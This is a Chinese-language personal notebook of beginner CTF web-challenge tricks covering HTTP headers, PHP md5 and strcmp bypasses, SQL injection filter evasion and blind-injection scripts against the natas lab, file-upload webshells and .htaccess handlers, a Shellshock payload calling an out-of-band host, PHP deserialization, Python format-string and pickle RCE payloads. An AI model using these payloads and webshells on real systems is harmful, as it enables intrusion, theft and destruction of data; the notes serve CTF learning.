
个人web小白题刷题笔记
http
- 在修改请求头的时候考虑加上X-Forwarded-For: 127.0.0.1
X-Forwarded-For(XFF)是一个HTTP请求头字段,通常用于标识客户端的真实IP地址,即使请求经过了多个代理或负载均衡服务器。
在流量包(网络抓包)中,Referer(有时写作Refer
)是 HTTP 请求头字段之一,主要用于指示当前请求是从哪个页面跳转过来的。它的作用是告诉服务器,用户是从哪个 URL 访问当前资源的。 - 浏览器内部使用 32 位带符号的整数,来储存推迟执行的时间。这意味着 setTimeout 最多只能推迟执行 2147483647 毫秒(24.8 天)超过这个时间会发生溢出。如果溢出了之后,相当于从 0 开始,整数上溢
#
的url编码是%23'
的是%27\n
是%0a\t
是%09- 在 PHP 中,
$_REQUEST
是一个超全局变量,用于获取通过多种方式(如GET
、POST
、COOKIE
)发送到脚本的数据。 alert()
函数可以再控制台调用- http请求头中的character就是cookie中设置
Cookie: character=admin
- 如果在发包的时候,输入封号会造成消息的截断,可以用url编码%3B替代
- POST请求的通用头
Content-Type
指定请求体的数据格式,常见值:application/x-www-form-urlencoded
(表单数据,默认格式)multipart/form-data
(文件上传或复杂表单)application/json
(JSON 数据)text/xml
(XML 数据)
- 如果在请求头中用base64的编码要把=和/ url编码
md5
- md5相同但是字符串不同:
1
2
3
4
5md5('240610708') = 0e462097431906509019562988736854
md5('QNKCDZO') = 0e830400451993494058024219903391
md5('aabg7XSs') = 0e087386482136013740957780965295
md5('aabC9RqS') = 0e260421314791580664869894734725
314282422 QLTHNDT EEIZDOI - md5($str, false) 这是md5的默认情况 返回32位16进制数 如果是 md5($str, true)就返回16位二进制数
ffifdyop 是true参数时候的漏洞 md5 (‘ffifdyop’,true)=’or’6xxxxxx 也就是or了一个true - 在 PHP 中,如果
md5()
作用于一个数组,它不会计算哈希,而是返回NULL
,但不会报错(因为error_reporting(0);
关闭了错误输出)。
所以可以用数组来绕过md5验证1
2用到场景:
$a !== $b && md5($a) === md5($b)运算符 作用 !=
不等于(只比较值,允许类型转换) !==
全不等(值或类型不同都算不等) $md5[0]==md5($md5[0])
绕过可以使用0e215962017
,因为这个值的md5也是0e开头的
php知识
php函数
glob('*');
查看当前目录中的文件 配合highlight_file('$filename')
查看php中
<?php
等价于<?=
可以减少字符数在 php 中,使用
Content-Type: multipart/form-data;
上传文件时,会将它保存在临时文件中,在 php 的配置中upload_tmp_dir
参数为保存临时文件的路经,linux 下面默认为/tmp
。也就是说只要 php 接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且 php 每次创建的临时文件名都有固定的格式,为 phpXXXX.tmp(Windows 中)、php**.tmp(Linux 中)。我们可以发送一个上传文件的 post 包,此时 php 会将我们上传的文件保存在临时文件夹下,默认的文件名是 /tmp/phpxxxxxx,文件名最后 6 个字符是随机的大小写字母。如 /tmp/php123abcforward_static_call_array()
是 PHP 中的一个内置函数,它允许在运行时动态地调用一个静态方法。其作用类似于call_user_func_array()
,但专门用于静态方法调用1
2forward_static_call_array(['类名', '静态方法名'], 参数数组);
forward_static_call_array( callable $function , array $parameters )与
call_user_func_array()
的区别:call_user_func_array()
也可以用于调用静态方法:但forward_static_call_array()
主要用于静态上下文,特别是在继承场景下,确保调用的是当前类或子类的方法,而不是基类的方法。
在 PHP 中,默认命名空间为\
,因此调用静态方法时可以使用绝对路径:在 php 当中默认命名空间是 \,所有原生函数和类都在这个命名空间中。
普通调用一个函数,如果直接写函数名 function_name () 调用,调用的时候其实相当于写了一个相对路径;
而如果写 \function_name () 这样调用函数,则其实是写了一个绝对路径。如果你在其他 namespace 里调用系统类,就必须写绝对路径这种写法。
举例:1
2
3
4
5
6
7
8
9
10
11
12
13
namespace MyNamespace;
function strlen($string) {
return "Custom strlen function in MyNamespace";
}
echo strlen("Hello, World!"); // 调用的是当前命名空间中的 strlen()
echo "\n";
// 如果你想调用 PHP 原生的 strlen 函数,应该使用绝对路径
echo \strlen("Hello, World!"); // 调用全局的 strlen()PHP 中的
call_user_func()
函数:
call_user_func() 是 PHP 的一个回调函数调用方法,它可以用于 动态调用函数 或 类的方法,即在运行时决定要执行哪个函数,而不是在代码编写时就固定。1
2
3
4
5
6
7
8
9
10class Demo {
static function sayHello($name) {
return "Hello, $name!";
}
}
echo call_user_func(["Demo", "sayHello"], "Alice");php伪协议:
1
2
3
4
5
6
7
8
91)file:// 访问本地文件系统
2)http:// 访问 HTTP (S) 网址
3)ftp:// 访问 FTP (S) URL
4) php:// 访问各个输出输入流
5) zlib:// 处理压缩流
6) data:// 读取数据
7) glob:// 查找匹配的文件路径模式
8) phar:// PHP 归档
9) rar:// RAR 数据压缩用data伪协议也可以读文件data://text/plain;base64,
[base64]
file_get_contents()
是 PHP 读取文件内容的函数,它可以:
读取本地文件 (file://
)
读取远程文件 (http://
/ https://
)
读取特殊流 (php://input
, data://
等)
读取压缩文件 (compress.zlib://
)
enctype="multipart/form-data"
的时候 php://input
是无效的
data://
伪协议允许在 URL 直接存储数据,而不需要实际文件。intval()
是 PHP 的一个函数,它用于将变量转换为整数(integer)。它的基本用法如下:1
2
3
4intval(mixed $value, int $base = 10): int
$value(必需):要转换的值,可以是字符串、浮点数、布尔值等。
$base(可选):进制,默认为 10。仅当 $value 是字符串时有效,可用于转换不同进制的数字(如二进制、十六进制)。1
2
3
4
5echo intval("42"); // 输出: 42
echo intval("42abc"); // 输出: 42(遇到非数字字符停止转换)
echo intval("abc42"); // 输出: 0(无法转换则返回 0)
echo intval(4.9); // 输出: 4(直接取整,不是四舍五入)
echo intval(-4.9); // 输出: -4- preg_match /i是大小写不敏感的
- php中的几类属性: public公有的属性或方法可以在任何地方被访问,包括类的内部、外部以及子类中
private私有的属性或方法只能在其定义的类内部被访问,不能在子类或类的外部访问
protected受保护的属性或方法只能在类的内部、子类或父类中被访问,不能在类的外部直接访问 - 在 PHP 中,
strstr()
函数用于在一个字符串中查找指定的子字符串,并返回从该子字符串首次出现的位置开始的剩余部分。 - 在 PHP 里,若向
strcmp
函数传入数组而非字符串,会引发警告并返回null
。由于null
在布尔上下文中被视为false
,经过逻辑非运算符!
处理后就变成了true
。因此,当你以数组形式传入passwd
参数时,这个条件表达式会被判定为真,从而实现绕过。passwd[]=1
- 要看文件b的内容,但是只能在文件b写内容和在文件b里面 ,可以写
<?php include '/etc/natas_webpass/natas26'; ?>
- php中读取文件目录的函数还有scandir 过滤了. 可以用chr(47) 也就是chr + ascii码的方式绕过
- php中的show_source是查看内容的函数 或者file_get_contents
sql注入
- sql注入单引号被过滤的时候用双引号
- 常见sql注入过滤
1
2
3
4
5空格过滤 → 用 `/**/`、`%0a`、`%0d` 代替。
引号过滤 → 用 `Hex` 编码或字符串函数(如 `CHAR(97)`)。
关键词过滤 → 尝试大小写、内联注释(`SEL/*!*/ECT`)、冗余语法(`UNION ALL SELECT`)。
逗号过滤 → 使用 `JOIN` 代替 `UNION SELECT 1,2,3`。
等号过滤 → 用 `LIKE` 或 `IN` 绕过,例如 `WHERE id LIKE 1`。 - 数据库查询长度超出待查询的字符串后会返回特殊字符 NULL 或者 !等
- mysql中的反引号是为了区分 MYSQL 的保留字与普通字符,所以没有过滤反引号就可以用反引号来绕过 保留字比如user
- mysql可以用load_file()函数读取文件union select load_file(‘path_to_file’) 目录可以选/var/www/html/
- 在 MySQL 中,
WHERE
子句在比较字符串时会忽略字符串末尾的空格。例如,当执行SELECT * FROM table WHERE column = 'cs ';
时,MySQL 会将其视为'cs'
进行比较,只要column
列的值为'cs'
就会匹配成功。这一特性可以用于绕过一些输入过滤机制。 - CHAR 和 VARCHAR 列有最大长度限制:当给
CHAR
或VARCHAR
列赋值时,如果值的长度超过了列的最大长度,就会对值进行裁剪以使其适合列的长 度。
严格 SQL 模式的影响:
严格模式下:如果被裁掉的字符不是空格,会产生错误并禁用值的插入。
非严格模式下:不管被裁掉的字符是什么,都会直接截断值,不会产生错误。
(用法举例,在严格模式下,已知有个admin账号,可以创建一个用户,admin然后很多空格后面在随便加什么,然后会截断,再根据上一条,where中查询空格不会被计算) extractvalue (1,concat (0x7e,database ()))
根据错误信息爆库名的时候用到
EXTRACTVALUE() 是 MySQL 的一个 XML 处理函数,它用于从 XML 数据中提取特定的值.但如果传入 非 XML 结构 的 XPath,会报错,并在错误信息中泄露数据.CONCAT() 用于拼接字符串。0x7e 是 十六进制的 ~(波浪号)用于报错信息可以回显1
2
3id:1' union select 1,2,extractvalue(1,concat(0x7e,database()))#
XPATH syntax error: '~test_db'- sql注入中可以用
substring
函数来绕过字符长度限制1
2
3id:-1' union select 1,2,extractvalue(0x7e,(select substring(group_concat(flag),25,32) from test_tb)) #
XPATH syntax error: 'a-ff5d9638a322}' - sql中
LIMIT
主要用于 限制查询结果的数量,通常用于分页、提高查询效率等。
SELECT * FROM table_name LIMIT 偏移量,数量;
,就是在你确定sql语句没错的时候,返回的内容没错但是不是想要的,可以在后面加上limit 1,1试试 - sql注入中最后知道列名查值的时候,1,group_concat(),3这里括号中的名字不要引号,最后的from也不用。在爆表的时候要在库名和列名要在后面的库名或者表名加引号
- sql报错注入还有updatexml函数
1 | UPDATEXML(xml_data, xpath_expression, new_value) |
- sql注入的时候,如果查询被截断,就考虑是字符限制,把原始查询的字符删掉
- 根据回显的sql脚本 二分法优化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23# -*- coding: utf-8 -*-
import requests
auth = ("natas15", "SdqIqBsFcz3yotlNYErZSZwblkm0lrvx")
url = "http://natas15.natas.labs.overthewire.org/index.php"
password = ""
password_length = 32 # 题目默认32位
for i in range(1, password_length + 1):
low,high = 32,126
while low < high:
mid = (low + high) // 2
payload = f'natas16" and ascii(substr(password,{i},1)) > {mid} -- -'
r = requests.get(url, auth=auth, params={"username": payload})
if "user exists" in r.text:
low = mid + 1
else:
high = mid
if low == high:
password += chr(low)
print(f"Found {i}-th character: {password}")
print(f"Final Password: {password}") - sql注入里面用时间盲注的requests的返回时间函数是r.elapsed.total_seconds()
- mysql中的like是大小不敏感的 如果要大小写敏感就要用 like binary
- mysql中if函数的最后一个参数的值是条件不成立的时候返回的值 比如
if(password like binary "%{i}%",sleep({time}),1)
成立执行第二个参数,不成立执行第三个参数 - 时间盲注脚本,可以先确定有什么字符优化一下
1 | import requests |
%
符号是 SQL 中的通配符,用于执行模糊匹配(类似于正则表达式中的 .*)% 代表任意长度的字符 示例SELECT * FROM users WHERE username LIKE '%admin%';
表示匹配任何包含 “admin” 的 username
ctf中的linux
- nl 命令在 linux 系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。(一般对输入字符有限制的时候用
- linux中
*
会把目录中的第一个匹配到的文件名当作命令 剩下的文件名当作参数执行 - 在大多数 Linux 系统中,PHP 默认会将 Session 数据存储在
/tmp
目录下,文件名通常以sess_
为前缀,后跟 Session ID。
1 | /tmp/sess_abc123def456 |
- 在单引号字符串中插入单引号的办法
'"'"'
原理: 将字符串拆分成多段,通过交替使用单引号'
和双引号"
,间接插入单引号字符。其实就是一种拼接的形式1
2
3
4
'<?php system (' + "'" + 'cat fl*' + "'" + ');?>' $IFS
(Internal Field Separator)是 Bash 里的内部字段分隔符,默认是空格。- 在linux中命令中间有分隔符,单引号双引号反斜杠反引号也可以照样执行命令比如
l''s l""s l\s l``s
- shellshock漏洞:,Bash 在解析环境变量时存在漏洞,如果环境变量的值以
()
开头并带有 额外的命令,Bash 会在解析时执行这些命令,即使它们不在函数体内。
1 | (){ :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN |
通过 HTTP 请求中的 User-Agent、Referer、Cookie 等 Header 注入恶意环境变量
- linux中的mac地址在
/sys/class/net/eth0/address
如果用mac地址作为随机种子,要去掉冒号,然后加上0x变成十六进制,因为随机种子一般是1位 - nginx配置文件在
/usr/local/nginx/conf/nginx.conf
find / -name '*' -exec grep -H 'NSS' {} \; 2>/dev/null
藏flag的时候这么找所有的
文件上传
php3,php5,pht,phtml,phps
都是 php 可运行的文件扩展名.htaccess
是一个纯文本文件,它里面存放着 Apache 服务器配置相关的指令。
.htaccess 主要的作用有:URL 重写、自定义错误页面、MIME 类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义 404 错误页面、阻止 / 允许特定 IP/IP 段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess 的用途范围主要针对当前目录。1
2
3
4# jpg文件解析成php文件
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>- 在 php 中
".user.ini"
有如下解释:php 会在每个目录下搜寻文件名,如果设定为空字符串则 php 不会搜寻,也就是在 “.user.ini” 中如果设置了文件 名,那么任意一个页面都将该文件中的内容包含进去。有两种方法:
auto_prepend_file: 在页面顶部加载文件
auto_append_file: 在页面底部加载文件
而且这种方式解析的文件都会被当作php文件执行,在一些文件上传题目也会碰到 - 在文件内容的开头输入
GIF89a
主要用于绕过 MIME 类型检测 和 Web 服务器的文件格式验证,在有检测上传文件类型的题目中可以在修改成jpg文件的前面加上这句 - 文件上传的题目如果对文件的类型有检测就要修改
MIME
就是content-type 比如image/jpeg
- 如果是文件上传题对图片的宽和高有要求,尝试在木马文件上面自己定义宽和高
1
2 - Apache 解析漏洞主要是因为 Apache 默认一个文件可以有多个用。分割得后缀,当最右边的后缀无法识别(mime.types 文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准) 在一些文件上传问题中可能出现这个问题 所以如果黑名单比较简单,后缀名只看从第一个.开始,就可以上传类似1.php.aaa这样的文件
- apache 换行解析漏洞
影响范围:2.4.0-2.4.29 版本
原因:合法后缀配置文件中的正则表达式中 $ 不仅匹配字符串结尾位置,还可以匹配 \n 或 \r,在解析 php 时,1.php\x0A 将按照.php 进行解析,而’.php\x0A’ != ‘.php’, 可能过滤时过滤了.php 但没有过滤.php\x0A 从而实现绕过。配置文件:过滤后缀名.phpapache 2.4.7 无法上传 hhh.php, 上传 hhh.php.xxx 可以绕过。 - 双后缀绕过文件上传限制的时候,gif可以在文件头写GIF89a然后插入php代码,gif这个后缀名有时候会执行php文件
1 | GIF89a |
序列化
- php 的特性,当序列化后对象的参数列表中成员个数和实际个数不符合时会绕过 __weakup (); PHP5 < 5.6.25、PHP7 < 7.0.10
- 如果 PHP 代码使用了
__autoload()
或spl_autoload_register()
,那么在unserialize()
时,PHP 会尝试自动加载不存在的类。攻击者可能通过控制autoload
机制,使其加载恶意代码。1
2
3
4
5spl_autoload_register(function($class) {
include "/tmp/$class.php"; // 如果 class 不存在,会自动尝试加载
});
unserialize('O:8:"Malicious":0:{}'); //假设类 Malicious 不存在,PHP 会通过已注册的自动加载函数尝试加载 /tmp/Malicious.php 文件 - php序列化中的表示
O:<类名长度>:"<类名>":<成员数量>:{<成员>}
die
函数也能调用__toString()
方法- 两个变量同时指向
同一个内存地址
也可以绕过wakeup
,因为这样就是修改另一个变量从而修改被修改的变量的值 - 当你试图访问一个不存在或不可访问(如
private
)的属性时,__get()
方法会被自动调用。 - 在 PHP 中,
__call()
是一个 魔法方法,当调用未定义或不可访问(如private
)的方法时,它会被自动触发。 __invoke()
是一个魔术方法(Magic Method),用于使对象像函数一样被调用。它的作用是让一个对象能够像普通函数一样执行,而不需要显式调用方法。当试图把一个对象当作函数调用时,就会自动触发__invoke()
方法。
1 | $obj = new CallableClass(); $obj("这是 __invoke 被触发的示例"); // 触发 __invoke() |
- 要把一个对象赋值给一个对象属性,而且还是私有的属性,我们不能直接赋值,也不能在外面赋值,但是我们可以使用
__construct
构造函数来赋值。 - private 属性的内容会有不可见字符,所以有时候要用urlencode序列化之后的内容
- php中的__set函数当试图为一个未定义或不可访问(如私有或受保护)的属性赋值时 调用 get也是
1 | __get($name):当尝试读取对象中未定义或不可访问的属性时,自动调用此方法。 |
示例
1 |
|
__debugInfo()
:使用var_dump()
打印对象时自动调用。__sleep()
:使用serialize()
函数序列化对象时自动调用。
细节
得到信息没有flag字样的时候想想是不是base64等编码
php伪协议无法使用就用日志注入 蚁剑中的https证书忽略打开 做过一题限制了显示个数 所以不能尝试太多
写入的
session
马上又会被删除,使用我们利用 bp 不断的发包url在字符前加
~
就是取反,可以用于字母绕过,因为取反的之后的字符大部分都是不可见字符1
2
3
4
echo var_dump(urlencode(~'system'));php中的
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
如果是将敏感词置换为空,就可以用双写置换,这里就是NSSNSSCTFCTF
只能写三个字符但是比一个很大的数字大可以用
科学计数法
9e9%09
的url解码是/t(制表符)有时候空格绕过${IFS}也不行的时候用这个一些题目中如果过滤了?或者php。又要上传一句话木马,可以上传
script版本
的1
<script language="php">@eval($_POST['a']);</script>
都是两个数字一组的加密字符串,不一定是hex,还有可能是
tapcode
敲击码sql注入中,如果
or
或者union这种关键字被过滤尝试双写绕过,而且比如or被过滤那information里面含or也会被过滤蚁剑成功连接之后如果无法看到里面的文件,试试
虚拟终端
中查看如果cat无法查看,尝试
tac
mt_srand (seed)
用于 初始化随机数生成器,其中 seed 是随机数种子。影响:如果使用相同的 seed,那么后续调用 mt_rand () 生成的随机数 始终相同。有时
页面源代码
中有可以访问的源代码文件原始抓包中的数据如果是URL编码,则发送payload也要url编码
注意题目python执行的版本不同,有的题目用python2执行的,比如随机种子生成中两个版本的python生成的结果就不一样
在一些无回显的题目中,如果要把返回内容写回到文件,注意flask框架的根目录很可能是/app 写到静态文件
/app/static/xxx
中hex分为普通的hex和asciihex 字符串的时候用asciihex ASCII Hex 用于字符串存储和传输,因为它能保证数据是可读的 ASCII 字符,不会引起协议解析问题。 比如一个hex 41拆成字符4和1 然后找到对应的ascii码 就是3431
其他语言知识
- 在 Python 正则表达式中,”.” 表示匹配除了换行符之外的任意单个字符,”“ 表示匹配前面的字符零次或多次。因此,”.“ 表示匹配任意长度的字符序列,这也被称为贪婪匹配 (greedy matching)。 注意到这个除了换行符以外,所以可以用
%a
绕过一些正则匹配,前面是换行就匹配不到 - 参数传递是大括号的时候,考虑原型链污染,使用的是
__proto__
这个私有属性,用这个修改原型的属性,当再创建一个实例的时候,就会继承被修改过的原型的属性 - python中:
__class__
获取对象的类。
__init__
获取类的构造方法。
__globals__
获取该类定义时的全局变量。
示例1
2
3
4
5f1ag = request.args.get('f1ag') or ""
exp = request.args.get('exp') or ""
message = "Your flag is {0}" + exp
?flag=1&exp={0.__class__.__init__.__globals__} - flask的pin码泄漏可以去 /console /debugger界面执行任意命令,但是执行命令不能用os.system 只会返回0 要用os.popen().read()
- python 中的pickle反序列化漏洞: pickle.loads()是不安全的! 它可以执行任意 Python 代码,如果攻击者构造恶意的 pickle 数据,就能远程执行命令(RCE)
利用方式 :攻击者可以构造一个恶意pickle
对象,其中包含一个os.system("command")
,然后将其 Base64 编码并提交到/import
端点。opcode版本1
2
3
4
5
6
7
8
9import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ("touch /tmp/hacked",)) # 或者 "rm -rf /"
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload) # 生成恶意 Base64 字符串1
2
3
4
5
6
7
8
9import pickle,pickletools
import base64
opcode = b'''cos
system
(S'mkdir static && set > ./static/1'
tR.
'''
pickletools.dis(opcode)
print(base64.b64encode(opcode).decode()) - flask框架题里面,可以访问任意的url的时候 在
/proc/self/cmdline
可以读取当前进程的命令,所以可以得到所在的路由